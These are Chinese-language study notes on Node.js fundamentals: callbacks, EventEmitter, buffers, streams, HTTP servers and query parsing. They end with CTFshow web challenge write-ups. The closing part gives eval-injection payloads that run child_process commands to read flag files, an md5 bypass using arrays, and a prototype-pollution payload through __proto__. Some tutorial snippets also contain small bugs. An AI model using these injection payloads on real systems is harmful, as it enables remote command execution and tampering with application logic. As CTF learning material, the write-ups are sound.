NodeJs
—–运行在服务端的javascript
回调函数:
- 在本语句在主进程执行时,该语句开启了另一个线程用来执行该语句的某一函数,而主进程不受影响一直执行则这一操作称为回调函数
Node所有的API都支持回调函数:
- 使用方式:
input.txt:
菜鸟教程官网地址: www.runoob.com
main.js:
var fs = require("fs");
fs.readFile('input.txt', function (err, data) {
if (err) return console.error(err); //判断是否在打开文件过程中出错
console.log(data.toString()); //输出文件内容
}); //在打开input.txt的同时调用新的线程用来执行匿名函数
console.log("程序执行结束!"); //打开文件之后立马执行
运行结果:
运行结果
事件处理:
JS中有一个events模块用来进行事件的监听和处理.
每当一个对象处理一个事件,这些事件都是
events.EventEmitter
类的实例.
使用方法
//引入events模块
var events = require('events');
//新建eventEmitter对象
var eventEmitter = new events.EventEmitter();
新建对象如果出错会触发error事件,添加监听器时会触发newListener事件,监听器被移除时会触发rmoveListener事件
简单的例子:
var events = require('events');
var eventEmitter = new events.EventEmitter();
eventEmitter.on('some_event',function(){
console.log('some_event事件触发');
});
setTimeout(function(){
eventEmitter.emit(some_event);
},1000);
!运行结果
多数情况下我们不会使用EventEmitter而在对象中继承他,包括 fs、net、 http 在内的,只要是支持事件响应的核心模块都是 EventEmitter 的子类。
缓冲区
Js中只有字符串数据类型,但是在打开文件时需要处理二进制数据,因此,JS拥有buffer类存储二进制数据。
使用方法:
- 字符编码
const buf= Buffer.from('runoob','ascii')//创建buf对象,runoob字符串以ascii的方式存储在buf中(ascii===>二进制)
console.log(buf.toString('hex')); //以hex方式读取字符串(二进制===>ascii)
console.log(buf.toString('base64'));
- 创建buffer类:
const buf1 = Buffer.alloc(26); //类似于malloc申请内存,以0填充
const buf2 = Buffer.alloc(10, 1);//以0x1填充
const buf3 = Buffer.allocUnsafe(10);//无任何数字填充(没有初始化),需要用write或full函数填写
const buf4 = Buffer.from([1,2,3]);//创建一个包含[0x1,0x2,0x3]的Buffer
const buf5 = Buffer.from('test');//创建一个包含 UTF-8 字节 [0x74, 0xc3, 0xa9, 0x73, 0x74] 的 Buffer。
Node.Js流
所有的 Stream 对象都是 EventEmitter 的实例,流的四种事件:
- data:有数据可读时触发
- end:没有数据读取时触发
- error:在接收和写入过程中出现错误触发
- finish:所有数据已被写入到底层系统时触发
从流中读取数据:
var fs = require('fs');
var data = '';
//创建可读流
var readStream = fs.createReadStream('input.txt');
//设置编码为utf8
readStream.setEncoding('utf8');
//处理流事件--->data,end,error,finish
readStream.on('data',function(chunk){
data+=chunk
});
readStream.on('end',function(){
console.log(data);
});
readStream.on('error',function(){
console.log(err.stack);
});
readStream.on('error',function(err){
console.log(err.stack);
});
console.log("程序执行完毕");
运行结果
写入流:
var fs=require('fs');
var data = "菜鸟教程官网地址: www.runoob.com";
//创建一个可以写入的流,写入到文件output.txt
var writeStream = fs.createWriteStream('output.txt');
//使用utf8编码写入数据
writeStream.write(data,'UTF8');
//标记文件的末尾
writeStream.end();
//处理流事件--->finish,error
writeStream.on('finish',function(){
console.log('写入完成.');
});
writeStream.on('error',function(err){
console.log(err.stack);
});
console.log("程序执行完毕");
)运行结果
管道流:
可以完成文件的复制,就如同倒水一般:
步骤:
- 创建一个可读流
- 创建一个可写流
- 以读的对象利用pipe(管道)函数,去写
var fs=require('fs')
var readStream = fs.createReadStream('a.txt');
var writeStream = fs.createWriteStream('b.txt');
readStream.pipe(writeStream);
console.log('程序执行完毕');
链式流即为多次管道的组合
Node.Js函数:
- 一个函数可以作为另一个函数的参数
function aaa(){
console.log('aaa函数执行');
}
function express(func){
func();
}
express(aaa)
\2. 利用函数传递实现简约的HTTP服务器
var http = require("http");
//匿名函数作为参数
http.createServer(function(request, response) {
response.writeHead(200, {"Content-Type": "text/plain"});
response.write("Hello World");
response.end();
}).listen(8888);
Node.JS路由
为解析请求的数据我们需要用到url和querstring模块
全局变量
- __filename: 返回正在执行脚本的绝对路径
- __dirname: 表示当前脚本所在目录
- setTimeout(cd,ms):全局函数在指定ms毫秒后执行cd====>只执行一次
- clearTimeout(t): 用来停止之前setTimeout()设定的计时器
- setInterval(cb, ms): 在ms毫秒之后调用cd,一直执行
- console:控制台标准输出
- process: 与操作系统的简单接口
序号 | 事件 & 描述 |
---|---|
1 | exit 当进程准备退出时触发。 |
2 | beforeExit 当 node 清空事件循环,并且没有其他安排时触发这个事件。通常来说,当没有进程安排时 node 退出,但是 ‘beforeExit’ 的监听器可以异步调用,这样 node 就会继续执行。 |
3 | uncaughtException 当一个异常冒泡回到事件循环,触发这个事件。如果给异常添加了监视器,默认的操作(打印堆栈跟踪信息并退出)就不会发生。 |
4 | Signal 事件 当进程接收到信号时就触发。信号列表详见标准的 POSIX 信号名,如 SIGINT、SIGUSR1 等。 |
Node.Js GET/POST请求
获取get请求内容
var http = require('http');
var url = require('url');
var util = require('util');
http.createServer(function(req,res){
res.writeHead(200,{'Content-Type': 'text/plain; charset=utf-8'});
res.end(util.inspect(url.parse(req.url,true)));
}).listen(3000);
运行结果
获取get请求参数:
使用url.parse解析url参数
var http = require('http');
var url = require('url');
var util = require('util');
http.createServer(function(req, res){
res.writeHead(200, {'Content-Type': 'text/plain'});
// 解析 url 参数
var params = url.parse(req.url, true).query;
res.write("网站名:" + params.name);
res.write("\n");
res.write("网站 URL:" + params.url);
res.end();
}).listen(3000);
获取post请求内容:
语法结构:
var http = require('http');
var quertstring = require('querystring');
var util = require('util');
http.createServer(function(req,res){
//定义了一个post变量,用于暂存请求体的信息
var post = '';
//通过req的data事件监听函数,每当接收到请求体的数据,就累加到post变量中
req.on('data',function(chunk){
post+=chunk;
});
//在end事件触发后,通过querystring.parse将post解析为真正的post请求格式,然后
向客户端返回。
req.on('end',function(){
post = querystring.parse(post);
res.end(util.inspect(post));
});
}).listen(3000)
实例:
var http = require('http');
var querystring = require('querystring');
var postHTML =
'<html><head><meta charset="utf-8"><title>菜鸟教程 Node.js 实例</title></head>' +
'<body>' +
'<form method="post">' +
'网站名: <input name="name"><br>' +
'网站 URL: <input name="url"><br>' +
'<input type="submit">' +
'</form>' +
'</body></html>';
http.createServer(function (req, res) {
var body = "";
req.on('data', function (chunk) {
body += chunk;
});
req.on('end', function () {
// 解析参数
body = querystring.parse(body);
// 设置响应头部信息及编码
res.writeHead(200, {'Content-Type': 'text/html; charset=utf8'});
if(body.name && body.url) { // 输出提交的数据
res.write("网站名:" + body.name);
res.write("<br>");
res.write("网站 URL:" + body.url);
} else { // 输出表单
res.write(postHTML);
}
res.end();
});
}).listen(3000);
CTFSHOW习题:
web334:
下载文件,改后缀为zip,在user.js中发现username和password
web335:
eval想到命令执行,也就是要和命令行打交道,js中有process可以提供命令行接口
?eval=require("child_process").execSync('tac fl00g.txt')
web336:
过滤了exec,利用spawn(),格式:spawnSync(command,[‘str’])
spawn() 方法返回流 (stdout & stderr),在进程返回大量数据时使用。进程一旦开始执行时 spawn() 就开始接收响应。
require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()
?eval=require('child_process').spawnSync( 'cat', [ './fl001g.txt' ] ).stdout.toString()
web337:
数组:
?a[x]=1&b[x]=2
就相当于:
a={'x':'1'}
b={'x':'2'}
绕过md5
web338:
题目环境:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
- 在login.js页面存在js原型链污染:
- copy函数可以将第二个参数的值复制到第一个参数,user本是一个没有值的对象,我们输入的内容(req.body)会被复制到user对象中,如果我们改变对象的原型,也就是user对象的__proto__属性,这样会导致user的原型Object类的属性被修改,比如__proto__: {“ctfshow”:”36dboy”},Object类中就会出现ctfshow属性,值是36dboy.这样所有原型是Object类的对象都会有ctfshow属性,如果本身不存在ctfshow属性,那么这个属性的值就是36dboy(和查询顺序有关)
burp抓包,修改传输的内容
添加__proto__键值对